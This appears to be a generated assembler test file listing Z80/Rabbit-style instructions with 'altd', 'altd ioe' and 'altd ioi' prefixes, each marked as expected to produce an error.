altd add a ; Error
altd add a, (hl) ; Error
altd add a, (ix) ; Error
altd add a, (ix+127) ; Error
altd add a, (ix-128) ; Error
altd add a, (iy) ; Error
altd add a, (iy+127) ; Error
altd add a, (iy-128) ; Error
altd add a, -128 ; Error
altd add a, 127 ; Error
altd add a, 255 ; Error
altd add a, a ; Error
altd add a, b ; Error
altd add a, c ; Error
altd add a, d ; Error
altd add a, e ; Error
altd add a, h ; Error
altd add a, l ; Error
altd add b ; Error
altd add c ; Error
altd add d ; Error
altd add e ; Error
altd add h ; Error
altd add hl, bc ; Error
altd add hl, de ; Error
altd add hl, hl ; Error
altd add hl, sp ; Error
altd add l ; Error
altd add m ; Error
altd and (hl) ; Error
altd and (ix) ; Error
altd and (ix+127) ; Error
altd and (ix-128) ; Error
altd and (iy) ; Error
altd and (iy+127) ; Error
altd and (iy-128) ; Error
altd and -128 ; Error
altd and 127 ; Error
altd and 255 ; Error
altd and a ; Error
altd and a, (hl) ; Error
altd and a, (ix) ; Error
altd and a, (ix+127) ; Error
altd and a, (ix-128) ; Error
altd and a, (iy) ; Error
altd and a, (iy+127) ; Error
altd and a, (iy-128) ; Error
altd and a, -128 ; Error
altd and a, 127 ; Error
altd and a, 255 ; Error
altd and a, a ; Error
altd and a, b ; Error
altd and a, c ; Error
altd and a, d ; Error
altd and a, e ; Error
altd and a, h ; Error
altd and a, l ; Error
altd and b ; Error
altd and c ; Error
altd and d ; Error
altd and e ; Error
altd and h ; Error
altd and hl, de ; Error
altd and ix, de ; Error
altd and iy, de ; Error
altd and l ; Error
altd bit -1, (hl) ; Error
altd bit -1, (hl) ; Error
altd bit -1, (ix) ; Error
altd bit -1, (ix) ; Error
altd bit -1, (ix+127) ; Error
altd bit -1, (ix+127) ; Error
altd bit -1, (ix-128) ; Error
altd bit -1, (ix-128) ; Error
altd bit -1, (iy) ; Error
altd bit -1, (iy) ; Error
altd bit -1, (iy+127) ; Error
altd bit -1, (iy+127) ; Error
altd bit -1, (iy-128) ; Error
altd bit -1, (iy-128) ; Error
altd bit -1, a ; Error
altd bit -1, a ; Error
altd bit -1, b ; Error
altd bit -1, b ; Error
altd bit -1, c ; Error
altd bit -1, c ; Error
altd bit -1, d ; Error
altd bit -1, d ; Error
altd bit -1, e ; Error
altd bit -1, e ; Error
altd bit -1, h ; Error
altd bit -1, h ; Error
altd bit -1, l ; Error
altd bit -1, l ; Error
altd bit 0, (hl) ; Error
altd bit 0, (ix) ; Error
altd bit 0, (ix+127) ; Error
altd bit 0, (ix-128) ; Error
altd bit 0, (iy) ; Error
altd bit 0, (iy+127) ; Error
altd bit 0, (iy-128) ; Error
altd bit 0, a ; Error
altd bit 0, b ; Error
altd bit 0, c ; Error
altd bit 0, d ; Error
altd bit 0, e ; Error
altd bit 0, h ; Error
altd bit 0, l ; Error
altd bit 1, (hl) ; Error
altd bit 1, (ix) ; Error
altd bit 1, (ix+127) ; Error
altd bit 1, (ix-128) ; Error
altd bit 1, (iy) ; Error
altd bit 1, (iy+127) ; Error
altd bit 1, (iy-128) ; Error
altd bit 1, a ; Error
altd bit 1, b ; Error
altd bit 1, c ; Error
altd bit 1, d ; Error
altd bit 1, e ; Error
altd bit 1, h ; Error
altd bit 1, l ; Error
altd bit 2, (hl) ; Error
altd bit 2, (ix) ; Error
altd bit 2, (ix+127) ; Error
altd bit 2, (ix-128) ; Error
altd bit 2, (iy) ; Error
altd bit 2, (iy+127) ; Error
altd bit 2, (iy-128) ; Error
altd bit 2, a ; Error
altd bit 2, b ; Error
altd bit 2, c ; Error
altd bit 2, d ; Error
altd bit 2, e ; Error
altd bit 2, h ; Error
altd bit 2, l ; Error
altd bit 3, (hl) ; Error
altd bit 3, (ix) ; Error
altd bit 3, (ix+127) ; Error
altd bit 3, (ix-128) ; Error
altd bit 3, (iy) ; Error
altd bit 3, (iy+127) ; Error
altd bit 3, (iy-128) ; Error
altd bit 3, a ; Error
altd bit 3, b ; Error
altd bit 3, c ; Error
altd bit 3, d ; Error
altd bit 3, e ; Error
altd bit 3, h ; Error
altd bit 3, l ; Error
altd bit 4, (hl) ; Error
altd bit 4, (ix) ; Error
altd bit 4, (ix+127) ; Error
altd bit 4, (ix-128) ; Error
altd bit 4, (iy) ; Error
altd bit 4, (iy+127) ; Error
altd bit 4, (iy-128) ; Error
altd bit 4, a ; Error
altd bit 4, b ; Error
altd bit 4, c ; Error
altd bit 4, d ; Error
altd bit 4, e ; Error
altd bit 4, h ; Error
altd bit 4, l ; Error
altd bit 5, (hl) ; Error
altd bit 5, (ix) ; Error
altd bit 5, (ix+127) ; Error
altd bit 5, (ix-128) ; Error
altd bit 5, (iy) ; Error
altd bit 5, (iy+127) ; Error
altd bit 5, (iy-128) ; Error
altd bit 5, a ; Error
altd bit 5, b ; Error
altd bit 5, c ; Error
altd bit 5, d ; Error
altd bit 5, e ; Error
altd bit 5, h ; Error
altd bit 5, l ; Error
altd bit 6, (hl) ; Error
altd bit 6, (ix) ; Error
altd bit 6, (ix+127) ; Error
altd bit 6, (ix-128) ; Error
altd bit 6, (iy) ; Error
altd bit 6, (iy+127) ; Error
altd bit 6, (iy-128) ; Error
altd bit 6, a ; Error
altd bit 6, b ; Error
altd bit 6, c ; Error
altd bit 6, d ; Error
altd bit 6, e ; Error
altd bit 6, h ; Error
altd bit 6, l ; Error
altd bit 7, (hl) ; Error
altd bit 7, (ix) ; Error
altd bit 7, (ix+127) ; Error
altd bit 7, (ix-128) ; Error
altd bit 7, (iy) ; Error
altd bit 7, (iy+127) ; Error
altd bit 7, (iy-128) ; Error
altd bit 7, a ; Error
altd bit 7, b ; Error
altd bit 7, c ; Error
altd bit 7, d ; Error
altd bit 7, e ; Error
altd bit 7, h ; Error
altd bit 7, l ; Error
altd bit 8, (hl) ; Error
altd bit 8, (hl) ; Error
altd bit 8, (ix) ; Error
altd bit 8, (ix) ; Error
altd bit 8, (ix+127) ; Error
altd bit 8, (ix+127) ; Error
altd bit 8, (ix-128) ; Error
altd bit 8, (ix-128) ; Error
altd bit 8, (iy) ; Error
altd bit 8, (iy) ; Error
altd bit 8, (iy+127) ; Error
altd bit 8, (iy+127) ; Error
altd bit 8, (iy-128) ; Error
altd bit 8, (iy-128) ; Error
altd bit 8, a ; Error
altd bit 8, a ; Error
altd bit 8, b ; Error
altd bit 8, b ; Error
altd bit 8, c ; Error
altd bit 8, c ; Error
altd bit 8, d ; Error
altd bit 8, d ; Error
altd bit 8, e ; Error
altd bit 8, e ; Error
altd bit 8, h ; Error
altd bit 8, h ; Error
altd bit 8, l ; Error
altd bit 8, l ; Error
altd bool hl ; Error
altd bool ix ; Error
altd bool iy ; Error
altd ccf ; Error
altd cp (hl) ; Error
altd cp (ix) ; Error
altd cp (ix+127) ; Error
altd cp (ix-128) ; Error
altd cp (iy) ; Error
altd cp (iy+127) ; Error
altd cp (iy-128) ; Error
altd cp -128 ; Error
altd cp 127 ; Error
altd cp 255 ; Error
altd cp a ; Error
altd cp a, (hl) ; Error
altd cp a, (ix) ; Error
altd cp a, (ix+127) ; Error
altd cp a, (ix-128) ; Error
altd cp a, (iy) ; Error
altd cp a, (iy+127) ; Error
altd cp a, (iy-128) ; Error
altd cp a, -128 ; Error
altd cp a, 127 ; Error
altd cp a, 255 ; Error
altd cp a, a ; Error
altd cp a, b ; Error
altd cp a, c ; Error
altd cp a, d ; Error
altd cp a, e ; Error
altd cp a, h ; Error
altd cp a, l ; Error
altd cp b ; Error
altd cp c ; Error
altd cp d ; Error
altd cp e ; Error
altd cp h ; Error
altd cp l ; Error
altd cpl ; Error
altd cpl a ; Error
altd dec (hl) ; Error
altd dec (ix) ; Error
altd dec (ix+127) ; Error
altd dec (ix-128) ; Error
altd dec (iy) ; Error
altd dec (iy+127) ; Error
altd dec (iy-128) ; Error
altd dec a ; Error
altd dec b ; Error
altd dec bc ; Error
altd dec c ; Error
altd dec d ; Error
altd dec de ; Error
altd dec e ; Error
altd dec h ; Error
altd dec hl ; Error
altd dec l ; Error
altd djnz ASMPC ; Error
altd djnz b, ASMPC ; Error
altd ex (sp), hl ; Error
altd ex de', hl ; Error
altd ex de, hl ; Error
altd inc (hl) ; Error
altd inc (ix) ; Error
altd inc (ix+127) ; Error
altd inc (ix-128) ; Error
altd inc (iy) ; Error
altd inc (iy+127) ; Error
altd inc (iy-128) ; Error
altd inc a ; Error
altd inc b ; Error
altd inc bc ; Error
altd inc c ; Error
altd inc d ; Error
altd inc de ; Error
altd inc e ; Error
altd inc h ; Error
altd inc hl ; Error
altd inc l ; Error
altd ioe adc (hl) ; Error
altd ioe adc (ix) ; Error
altd ioe adc (ix+127) ; Error
altd ioe adc (ix-128) ; Error
altd ioe adc (iy) ; Error
altd ioe adc (iy+127) ; Error
altd ioe adc (iy-128) ; Error
altd ioe adc a, (hl) ; Error
altd ioe adc a, (ix) ; Error
altd ioe adc a, (ix+127) ; Error
altd ioe adc a, (ix-128) ; Error
altd ioe adc a, (iy) ; Error
altd ioe adc a, (iy+127) ; Error
altd ioe adc a, (iy-128) ; Error
altd ioe add (hl) ; Error
altd ioe add (ix) ; Error
altd ioe add (ix+127) ; Error
altd ioe add (ix-128) ; Error
altd ioe add (iy) ; Error
altd ioe add (iy+127) ; Error
altd ioe add (iy-128) ; Error
altd ioe add a, (hl) ; Error
altd ioe add a, (ix) ; Error
altd ioe add a, (ix+127) ; Error
altd ioe add a, (ix-128) ; Error
altd ioe add a, (iy) ; Error
altd ioe add a, (iy+127) ; Error
altd ioe add a, (iy-128) ; Error
altd ioe and (hl) ; Error
altd ioe and (ix) ; Error
altd ioe and (ix+127) ; Error
altd ioe and (ix-128) ; Error
altd ioe and (iy) ; Error
altd ioe and (iy+127) ; Error
altd ioe and (iy-128) ; Error
altd ioe and a, (hl) ; Error
altd ioe and a, (ix) ; Error
altd ioe and a, (ix+127) ; Error
altd ioe and a, (ix-128) ; Error
altd ioe and a, (iy) ; Error
altd ioe and a, (iy+127) ; Error
altd ioe and a, (iy-128) ; Error
altd ioe bit -1, (hl) ; Error
altd ioe bit -1, (hl) ; Error
altd ioe bit -1, (ix) ; Error
altd ioe bit -1, (ix) ; Error
altd ioe bit -1, (ix+127) ; Error
altd ioe bit -1, (ix+127) ; Error
altd ioe bit -1, (ix-128) ; Error
altd ioe bit -1, (ix-128) ; Error
altd ioe bit -1, (iy) ; Error
altd ioe bit -1, (iy) ; Error
altd ioe bit -1, (iy+127) ; Error
altd ioe bit -1, (iy+127) ; Error
altd ioe bit -1, (iy-128) ; Error
altd ioe bit -1, (iy-128) ; Error
altd ioe bit 0, (hl) ; Error
altd ioe bit 0, (ix) ; Error
altd ioe bit 0, (ix+127) ; Error
altd ioe bit 0, (ix-128) ; Error
altd ioe bit 0, (iy) ; Error
altd ioe bit 0, (iy+127) ; Error
altd ioe bit 0, (iy-128) ; Error
altd ioe bit 1, (hl) ; Error
altd ioe bit 1, (ix) ; Error
altd ioe bit 1, (ix+127) ; Error
altd ioe bit 1, (ix-128) ; Error
altd ioe bit 1, (iy) ; Error
altd ioe bit 1, (iy+127) ; Error
altd ioe bit 1, (iy-128) ; Error
altd ioe bit 2, (hl) ; Error
altd ioe bit 2, (ix) ; Error
altd ioe bit 2, (ix+127) ; Error
altd ioe bit 2, (ix-128) ; Error
altd ioe bit 2, (iy) ; Error
altd ioe bit 2, (iy+127) ; Error
altd ioe bit 2, (iy-128) ; Error
altd ioe bit 3, (hl) ; Error
altd ioe bit 3, (ix) ; Error
altd ioe bit 3, (ix+127) ; Error
altd ioe bit 3, (ix-128) ; Error
altd ioe bit 3, (iy) ; Error
altd ioe bit 3, (iy+127) ; Error
altd ioe bit 3, (iy-128) ; Error
altd ioe bit 4, (hl) ; Error
altd ioe bit 4, (ix) ; Error
altd ioe bit 4, (ix+127) ; Error
altd ioe bit 4, (ix-128) ; Error
altd ioe bit 4, (iy) ; Error
altd ioe bit 4, (iy+127) ; Error
altd ioe bit 4, (iy-128) ; Error
altd ioe bit 5, (hl) ; Error
altd ioe bit 5, (ix) ; Error
altd ioe bit 5, (ix+127) ; Error
altd ioe bit 5, (ix-128) ; Error
altd ioe bit 5, (iy) ; Error
altd ioe bit 5, (iy+127) ; Error
altd ioe bit 5, (iy-128) ; Error
altd ioe bit 6, (hl) ; Error
altd ioe bit 6, (ix) ; Error
altd ioe bit 6, (ix+127) ; Error
altd ioe bit 6, (ix-128) ; Error
altd ioe bit 6, (iy) ; Error
altd ioe bit 6, (iy+127) ; Error
altd ioe bit 6, (iy-128) ; Error
altd ioe bit 7, (hl) ; Error
altd ioe bit 7, (ix) ; Error
altd ioe bit 7, (ix+127) ; Error
altd ioe bit 7, (ix-128) ; Error
altd ioe bit 7, (iy) ; Error
altd ioe bit 7, (iy+127) ; Error
altd ioe bit 7, (iy-128) ; Error
altd ioe bit 8, (hl) ; Error
altd ioe bit 8, (hl) ; Error
altd ioe bit 8, (ix) ; Error
altd ioe bit 8, (ix) ; Error
altd ioe bit 8, (ix+127) ; Error
altd ioe bit 8, (ix+127) ; Error
altd ioe bit 8, (ix-128) ; Error
altd ioe bit 8, (ix-128) ; Error
altd ioe bit 8, (iy) ; Error
altd ioe bit 8, (iy) ; Error
altd ioe bit 8, (iy+127) ; Error
altd ioe bit 8, (iy+127) ; Error
altd ioe bit 8, (iy-128) ; Error
altd ioe bit 8, (iy-128) ; Error
altd ioe cp (hl) ; Error
altd ioe cp (ix) ; Error
altd ioe cp (ix+127) ; Error
altd ioe cp (ix-128) ; Error
altd ioe cp (iy) ; Error
altd ioe cp (iy+127) ; Error
altd ioe cp (iy-128) ; Error
altd ioe cp a, (hl) ; Error
altd ioe cp a, (ix) ; Error
altd ioe cp a, (ix+127) ; Error
altd ioe cp a, (ix-128) ; Error
altd ioe cp a, (iy) ; Error
altd ioe cp a, (iy+127) ; Error
altd ioe cp a, (iy-128) ; Error
altd ioe dec (hl) ; Error
altd ioe dec (ix) ; Error
altd ioe dec (ix+127) ; Error
altd ioe dec (ix-128) ; Error
altd ioe dec (iy) ; Error
altd ioe dec (iy+127) ; Error
altd ioe dec (iy-128) ; Error
altd ioe inc (hl) ; Error
altd ioe inc (ix) ; Error
altd ioe inc (ix+127) ; Error
altd ioe inc (ix-128) ; Error
altd ioe inc (iy) ; Error
altd ioe inc (iy+127) ; Error
altd ioe inc (iy-128) ; Error
altd ioe ld a, (-32768) ; Error
altd ioe ld a, (32767) ; Error
altd ioe ld a, (65535) ; Error
altd ioe ld a, (bc) ; Error
altd ioe ld a, (bc+) ; Error
altd ioe ld a, (bc-) ; Error
altd ioe ld a, (de) ; Error
altd ioe ld a, (de+) ; Error
altd ioe ld a, (de-) ; Error
altd ioe ld a, (hl) ; Error
altd ioe ld a, (hl+) ; Error
altd ioe ld a, (hl-) ; Error
altd ioe ld a, (hld) ; Error
altd ioe ld a, (hli) ; Error
altd ioe ld a, (ix) ; Error
altd ioe ld a, (ix+127) ; Error
altd ioe ld a, (ix-128) ; Error
altd ioe ld a, (iy) ; Error
altd ioe ld a, (iy+127) ; Error
altd ioe ld a, (iy-128) ; Error
altd ioe ld b, (hl) ; Error
altd ioe ld b, (ix) ; Error
altd ioe ld b, (ix+127) ; Error
altd ioe ld b, (ix-128) ; Error
altd ioe ld b, (iy) ; Error
altd ioe ld b, (iy+127) ; Error
altd ioe ld b, (iy-128) ; Error
altd ioe ld bc, (-32768) ; Error
altd ioe ld bc, (32767) ; Error
altd ioe ld bc, (65535) ; Error
altd ioe ld c, (hl) ; Error
altd ioe ld c, (ix) ; Error
altd ioe ld c, (ix+127) ; Error
altd ioe ld c, (ix-128) ; Error
altd ioe ld c, (iy) ; Error
altd ioe ld c, (iy+127) ; Error
altd ioe ld c, (iy-128) ; Error
altd ioe ld d, (hl) ; Error
altd ioe ld d, (ix) ; Error
altd ioe ld d, (ix+127) ; Error
altd ioe ld d, (ix-128) ; Error
altd ioe ld d, (iy) ; Error
altd ioe ld d, (iy+127) ; Error
altd ioe ld d, (iy-128) ; Error
altd ioe ld de, (-32768) ; Error
altd ioe ld de, (32767) ; Error
altd ioe ld de, (65535) ; Error
altd ioe ld e, (hl) ; Error
altd ioe ld e, (ix) ; Error
altd ioe ld e, (ix+127) ; Error
altd ioe ld e, (ix-128) ; Error
altd ioe ld e, (iy) ; Error
altd ioe ld e, (iy+127) ; Error
altd ioe ld e, (iy-128) ; Error
altd ioe ld h, (hl) ; Error
altd ioe ld h, (ix) ; Error
altd ioe ld h, (ix+127) ; Error
altd ioe ld h, (ix-128) ; Error
altd ioe ld h, (iy) ; Error
altd ioe ld h, (iy+127) ; Error
altd ioe ld h, (iy-128) ; Error
altd ioe ld hl, (-32768) ; Error
altd ioe ld hl, (32767) ; Error
altd ioe ld hl, (65535) ; Error
altd ioe ld hl, (hl) ; Error
altd ioe ld hl, (hl+127) ; Error
altd ioe ld hl, (hl-128) ; Error
altd ioe ld hl, (ix) ; Error
altd ioe ld hl, (ix+127) ; Error
altd ioe ld hl, (ix-128) ; Error
altd ioe ld hl, (iy) ; Error
altd ioe ld hl, (iy+127) ; Error
altd ioe ld hl, (iy-128) ; Error
altd ioe ld l, (hl) ; Error
altd ioe ld l, (ix) ; Error
altd ioe ld l, (ix+127) ; Error
altd ioe ld l, (ix-128) ; Error
altd ioe ld l, (iy) ; Error
altd ioe ld l, (iy+127) ; Error
altd ioe ld l, (iy-128) ; Error
altd ioe or (hl) ; Error
altd ioe or (ix) ; Error
altd ioe or (ix+127) ; Error
altd ioe or (ix-128) ; Error
altd ioe or (iy) ; Error
altd ioe or (iy+127) ; Error
altd ioe or (iy-128) ; Error
altd ioe or a, (hl) ; Error
altd ioe or a, (ix) ; Error
altd ioe or a, (ix+127) ; Error
altd ioe or a, (ix-128) ; Error
altd ioe or a, (iy) ; Error
altd ioe or a, (iy+127) ; Error
altd ioe or a, (iy-128) ; Error
altd ioe rl (hl) ; Error
altd ioe rl (ix) ; Error
altd ioe rl (ix+127) ; Error
altd ioe rl (ix-128) ; Error
altd ioe rl (iy) ; Error
altd ioe rl (iy+127) ; Error
altd ioe rl (iy-128) ; Error
altd ioe rlc (hl) ; Error
altd ioe rlc (ix) ; Error
altd ioe rlc (ix+127) ; Error
altd ioe rlc (ix-128) ; Error
altd ioe rlc (iy) ; Error
altd ioe rlc (iy+127) ; Error
altd ioe rlc (iy-128) ; Error
altd ioe rr (hl) ; Error
altd ioe rr (ix) ; Error
altd ioe rr (ix+127) ; Error
altd ioe rr (ix-128) ; Error
altd ioe rr (iy) ; Error
altd ioe rr (iy+127) ; Error
altd ioe rr (iy-128) ; Error
altd ioe rrc (hl) ; Error
altd ioe rrc (ix) ; Error
altd ioe rrc (ix+127) ; Error
altd ioe rrc (ix-128) ; Error
altd ioe rrc (iy) ; Error
altd ioe rrc (iy+127) ; Error
altd ioe rrc (iy-128) ; Error
altd ioe sbc (hl) ; Error
altd ioe sbc (ix) ; Error
altd ioe sbc (ix+127) ; Error
altd ioe sbc (ix-128) ; Error
altd ioe sbc (iy) ; Error
altd ioe sbc (iy+127) ; Error
altd ioe sbc (iy-128) ; Error
altd ioe sbc a, (hl) ; Error
altd ioe sbc a, (ix) ; Error
altd ioe sbc a, (ix+127) ; Error
altd ioe sbc a, (ix-128) ; Error
altd ioe sbc a, (iy) ; Error
altd ioe sbc a, (iy+127) ; Error
altd ioe sbc a, (iy-128) ; Error
altd ioe sla (hl) ; Error
altd ioe sla (ix) ; Error
altd ioe sla (ix+127) ; Error
altd ioe sla (ix-128) ; Error
altd ioe sla (iy) ; Error
altd ioe sla (iy+127) ; Error
altd ioe sla (iy-128) ; Error
altd ioe sra (hl) ; Error
altd ioe sra (ix) ; Error
altd ioe sra (ix+127) ; Error
altd ioe sra (ix-128) ; Error
altd ioe sra (iy) ; Error
altd ioe sra (iy+127) ; Error
altd ioe sra (iy-128) ; Error
altd ioe srl (hl) ; Error
altd ioe srl (ix) ; Error
altd ioe srl (ix+127) ; Error
altd ioe srl (ix-128) ; Error
altd ioe srl (iy) ; Error
altd ioe srl (iy+127) ; Error
altd ioe srl (iy-128) ; Error
altd ioe sub (hl) ; Error
altd ioe sub (ix) ; Error
altd ioe sub (ix+127) ; Error
altd ioe sub (ix-128) ; Error
altd ioe sub (iy) ; Error
altd ioe sub (iy+127) ; Error
altd ioe sub (iy-128) ; Error
altd ioe sub a, (hl) ; Error
altd ioe sub a, (ix) ; Error
altd ioe sub a, (ix+127) ; Error
altd ioe sub a, (ix-128) ; Error
altd ioe sub a, (iy) ; Error
altd ioe sub a, (iy+127) ; Error
altd ioe sub a, (iy-128) ; Error
altd ioe xor (hl) ; Error
altd ioe xor (ix) ; Error
altd ioe xor (ix+127) ; Error
altd ioe xor (ix-128) ; Error
altd ioe xor (iy) ; Error
altd ioe xor (iy+127) ; Error
altd ioe xor (iy-128) ; Error
altd ioe xor a, (hl) ; Error
altd ioe xor a, (ix) ; Error
altd ioe xor a, (ix+127) ; Error
altd ioe xor a, (ix-128) ; Error
altd ioe xor a, (iy) ; Error
altd ioe xor a, (iy+127) ; Error
altd ioe xor a, (iy-128) ; Error
altd ioi adc (hl) ; Error
altd ioi adc (ix) ; Error
altd ioi adc (ix+127) ; Error
altd ioi adc (ix-128) ; Error
altd ioi adc (iy) ; Error
altd ioi adc (iy+127) ; Error
altd ioi adc (iy-128) ; Error
altd ioi adc a, (hl) ; Error
altd ioi adc a, (ix) ; Error
altd ioi adc a, (ix+127) ; Error
altd ioi adc a, (ix-128) ; Error
altd ioi adc a, (iy) ; Error
altd ioi adc a, (iy+127) ; Error
altd ioi adc a, (iy-128) ; Error
altd ioi add (hl) ; Error
altd ioi add (ix) ; Error
altd ioi add (ix+127) ; Error
altd ioi add (ix-128) ; Error
altd ioi add (iy) ; Error
altd ioi add (iy+127) ; Error
altd ioi add (iy-128) ; Error
altd ioi add a, (hl) ; Error
altd ioi add a, (ix) ; Error
altd ioi add a, (ix+127) ; Error
altd ioi add a, (ix-128) ; Error
altd ioi add a, (iy) ; Error
altd ioi add a, (iy+127) ; Error
altd ioi add a, (iy-128) ; Error
altd ioi and (hl) ; Error
altd ioi and (ix) ; Error
altd ioi and (ix+127) ; Error
altd ioi and (ix-128) ; Error
altd ioi and (iy) ; Error
altd ioi and (iy+127) ; Error
altd ioi and (iy-128) ; Error
altd ioi and a, (hl) ; Error
altd ioi and a, (ix) ; Error
altd ioi and a, (ix+127) ; Error
altd ioi and a, (ix-128) ; Error
altd ioi and a, (iy) ; Error
altd ioi and a, (iy+127) ; Error
altd ioi and a, (iy-128) ; Error
altd ioi bit -1, (hl) ; Error
altd ioi bit -1, (hl) ; Error
altd ioi bit -1, (ix) ; Error
altd ioi bit -1, (ix) ; Error
altd ioi bit -1, (ix+127) ; Error
altd ioi bit -1, (ix+127) ; Error
altd ioi bit -1, (ix-128) ; Error
altd ioi bit -1, (ix-128) ; Error
altd ioi bit -1, (iy) ; Error
altd ioi bit -1, (iy) ; Error
altd ioi bit -1, (iy+127) ; Error
altd ioi bit -1, (iy+127) ; Error
altd ioi bit -1, (iy-128) ; Error
altd ioi bit -1, (iy-128) ; Error
altd ioi bit 0, (hl) ; Error
altd ioi bit 0, (ix) ; Error
altd ioi bit 0, (ix+127) ; Error
altd ioi bit 0, (ix-128) ; Error
altd ioi bit 0, (iy) ; Error
altd ioi bit 0, (iy+127) ; Error
altd ioi bit 0, (iy-128) ; Error
altd ioi bit 1, (hl) ; Error
altd ioi bit 1, (ix) ; Error
altd ioi bit 1, (ix+127) ; Error
altd ioi bit 1, (ix-128) ; Error
altd ioi bit 1, (iy) ; Error
altd ioi bit 1, (iy+127) ; Error
altd ioi bit 1, (iy-128) ; Error
altd ioi bit 2, (hl) ; Error
altd ioi bit 2, (ix) ; Error
altd ioi bit 2, (ix+127) ; Error
altd ioi bit 2, (ix-128) ; Error
altd ioi bit 2, (iy) ; Error
altd ioi bit 2, (iy+127) ; Error
altd ioi bit 2, (iy-128) ; Error
altd ioi bit 3, (hl) ; Error
altd ioi bit 3, (ix) ; Error
altd ioi bit 3, (ix+127) ; Error
altd ioi bit 3, (ix-128) ; Error
altd ioi bit 3, (iy) ; Error
altd ioi bit 3, (iy+127) ; Error
altd ioi bit 3, (iy-128) ; Error
altd ioi bit 4, (hl) ; Error
altd ioi bit 4, (ix) ; Error
altd ioi bit 4, (ix+127) ; Error
altd ioi bit 4, (ix-128) ; Error
altd ioi bit 4, (iy) ; Error
altd ioi bit 4, (iy+127) ; Error
altd ioi bit 4, (iy-128) ; Error
altd ioi bit 5, (hl) ; Error
altd ioi bit 5, (ix) ; Error
altd ioi bit 5, (ix+127) ; Error
altd ioi bit 5, (ix-128) ; Error
altd ioi bit 5, (iy) ; Error
altd ioi bit 5, (iy+127) ; Error
altd ioi bit 5, (iy-128) ; Error
altd ioi bit 6, (hl) ; Error
altd ioi bit 6, (ix) ; Error
altd ioi bit 6, (ix+127) ; Error
altd ioi bit 6, (ix-128) ; Error
altd ioi bit 6, (iy) ; Error
altd ioi bit 6, (iy+127) ; Error
altd ioi bit 6, (iy-128) ; Error
altd ioi bit 7, (hl) ; Error
altd ioi bit 7, (ix) ; Error
altd ioi bit 7, (ix+127) ; Error
altd ioi bit 7, (ix-128) ; Error
altd ioi bit 7, (iy) ; Error
altd ioi bit 7, (iy+127) ; Error
altd ioi bit 7, (iy-128) ; Error
altd ioi bit 8, (hl) ; Error
altd ioi bit 8, (hl) ; Error
altd ioi bit 8, (ix) ; Error
altd ioi bit 8, (ix) ; Error
altd ioi bit 8, (ix+127) ; Error
altd ioi bit 8, (ix+127) ; Error
altd ioi bit 8, (ix-128) ; Error
altd ioi bit 8, (ix-128) ; Error
altd ioi bit 8, (iy) ; Error
altd ioi bit 8, (iy) ; Error
altd ioi bit 8, (iy+127) ; Error
altd ioi bit 8, (iy+127) ; Error
altd ioi bit 8, (iy-128) ; Error
altd ioi bit 8, (iy-128) ; Error
altd ioi cp (hl) ; Error
altd ioi cp (ix) ; Error
altd ioi cp (ix+127) ; Error
altd ioi cp (ix-128) ; Error
altd ioi cp (iy) ; Error
altd ioi cp (iy+127) ; Error
altd ioi cp (iy-128) ; Error
altd ioi cp a, (hl) ; Error
altd ioi cp a, (ix) ; Error
altd ioi cp a, (ix+127) ; Error
altd ioi cp a, (ix-128) ; Error
altd ioi cp a, (iy) ; Error
altd ioi cp a, (iy+127) ; Error
altd ioi cp a, (iy-128) ; Error
altd ioi dec (hl) ; Error
altd ioi dec (ix) ; Error
altd ioi dec (ix+127) ; Error
altd ioi dec (ix-128) ; Error
altd ioi dec (iy) ; Error
altd ioi dec (iy+127) ; Error
altd ioi dec (iy-128) ; Error
altd ioi inc (hl) ; Error
altd ioi inc (ix) ; Error
altd ioi inc (ix+127) ; Error
altd ioi inc (ix-128) ; Error
altd ioi inc (iy) ; Error
altd ioi inc (iy+127) ; Error
altd ioi inc (iy-128) ; Error
altd ioi ld a, (-32768) ; Error
altd ioi ld a, (32767) ; Error
altd ioi ld a, (65535) ; Error
altd ioi ld a, (bc) ; Error
altd ioi ld a, (bc+) ; Error
altd ioi ld a, (bc-) ; Error
altd ioi ld a, (de) ; Error
altd ioi ld a, (de+) ; Error
altd ioi ld a, (de-) ; Error
altd ioi ld a, (hl) ; Error
altd ioi ld a, (hl+) ; Error
altd ioi ld a, (hl-) ; Error
altd ioi ld a, (hld) ; Error
altd ioi ld a, (hli) ; Error
altd ioi ld a, (ix) ; Error
altd ioi ld a, (ix+127) ; Error
altd ioi ld a, (ix-128) ; Error
altd ioi ld a, (iy) ; Error
altd ioi ld a, (iy+127) ; Error
altd ioi ld a, (iy-128) ; Error
altd ioi ld b, (hl) ; Error
altd ioi ld b, (ix) ; Error
altd ioi ld b, (ix+127) ; Error
altd ioi ld b, (ix-128) ; Error
altd ioi ld b, (iy) ; Error
altd ioi ld b, (iy+127) ; Error
altd ioi ld b, (iy-128) ; Error
altd ioi ld bc, (-32768) ; Error
altd ioi ld bc, (32767) ; Error
altd ioi ld bc, (65535) ; Error
altd ioi ld c, (hl) ; Error
altd ioi ld c, (ix) ; Error
altd ioi ld c, (ix+127) ; Error
altd ioi ld c, (ix-128) ; Error
altd ioi ld c, (iy) ; Error
altd ioi ld c, (iy+127) ; Error
altd ioi ld c, (iy-128) ; Error
altd ioi ld d, (hl) ; Error
altd ioi ld d, (ix) ; Error
altd ioi ld d, (ix+127) ; Error
altd ioi ld d, (ix-128) ; Error
altd ioi ld d, (iy) ; Error
altd ioi ld d, (iy+127) ; Error
altd ioi ld d, (iy-128) ; Error
altd ioi ld de, (-32768) ; Error
altd ioi ld de, (32767) ; Error
altd ioi ld de, (65535) ; Error
altd ioi ld e, (hl) ; Error
altd ioi ld e, (ix) ; Error
altd ioi ld e, (ix+127) ; Error
altd ioi ld e, (ix-128) ; Error
altd ioi ld e, (iy) ; Error
altd ioi ld e, (iy+127) ; Error
altd ioi ld e, (iy-128) ; Error
altd ioi ld h, (hl) ; Error
altd ioi ld h, (ix) ; Error
altd ioi ld h, (ix+127) ; Error
altd ioi ld h, (ix-128) ; Error
altd ioi ld h, (iy) ; Error
altd ioi ld h, (iy+127) ; Error
altd ioi ld h, (iy-128) ; Error
altd ioi ld hl, (-32768) ; Error
altd ioi ld hl, (32767) ; Error
altd ioi ld hl, (65535) ; Error
altd ioi ld hl, (hl) ; Error
altd ioi ld hl, (hl+127) ; Error
altd ioi ld hl, (hl-128) ; Error
altd ioi ld hl, (ix) ; Error
altd ioi ld hl, (ix+127) ; Error
altd ioi ld hl, (ix-128) ; Error
altd ioi ld hl, (iy) ; Error
altd ioi ld hl, (iy+127) ; Error
altd ioi ld hl, (iy-128) ; Error
altd ioi ld l, (hl) ; Error
altd ioi ld l, (ix) ; Error
altd ioi ld l, (ix+127) ; Error
